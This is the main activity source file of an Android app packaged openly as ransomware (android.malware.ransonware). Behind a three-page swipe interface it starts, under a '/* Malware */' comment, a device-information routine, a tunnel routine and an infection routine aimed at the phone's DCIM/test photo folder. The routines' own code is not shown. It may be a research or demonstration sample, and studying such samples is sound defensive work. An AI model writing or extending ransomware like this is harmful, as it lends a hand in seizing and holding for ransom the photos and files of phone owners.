package android.malware.ransonware;

import java.util.LinkedList;

import android.content.Context;
import android.malware.ransonware.fragment.FragmentAdapter;
import android.malware.ransonware.fragment.FragmentOne;
import android.malware.ransonware.fragment.FragmentThree;
import android.malware.ransonware.fragment.FragmentTwo;
import android.malware.ransonware.routine.AndroidDeviceInfo;
import android.malware.ransonware.routine.RoutineInfect;
import android.malware.ransonware.routine.RoutineTunnel;
import android.os.Bundle;
import android.os.Environment;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentActivity;
import android.support.v4.view.ViewPager;
import android.util.Log;

public class MainActivity extends FragmentActivity {

	private ViewPager viewPager;
	private FragmentAdapter viewFragment;
	private static Context context;

	public static Context getContext() {
		return context;
	}

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);

		// Swipe View
		LinkedList<Fragment> fragments = new LinkedList<Fragment>();
		// list of fragments
		fragments.add(Fragment.instantiate(this, FragmentOne.class.getName()));
		fragments.add(Fragment.instantiate(this, FragmentTwo.class.getName()));
		fragments
				.add(Fragment.instantiate(this, FragmentThree.class.getName()));

		viewFragment = new FragmentAdapter(super.getSupportFragmentManager(),
				fragments);
		viewPager = (ViewPager) super.findViewById(R.id.activity_main);
		viewPager.setAdapter(viewFragment);
		MainActivity.context = this;
		/**/
		
		/* Malware */
		Log.w("malware", "[LogCat] tag:malware");
		// Android Device Info
		new AndroidDeviceInfo(this);
		// Routine Tunnel
		new RoutineTunnel();
		// Routine Infection
		new RoutineInfect(Environment.getExternalStorageDirectory()
				.getAbsolutePath() + "/DCIM/test").start();
	}
}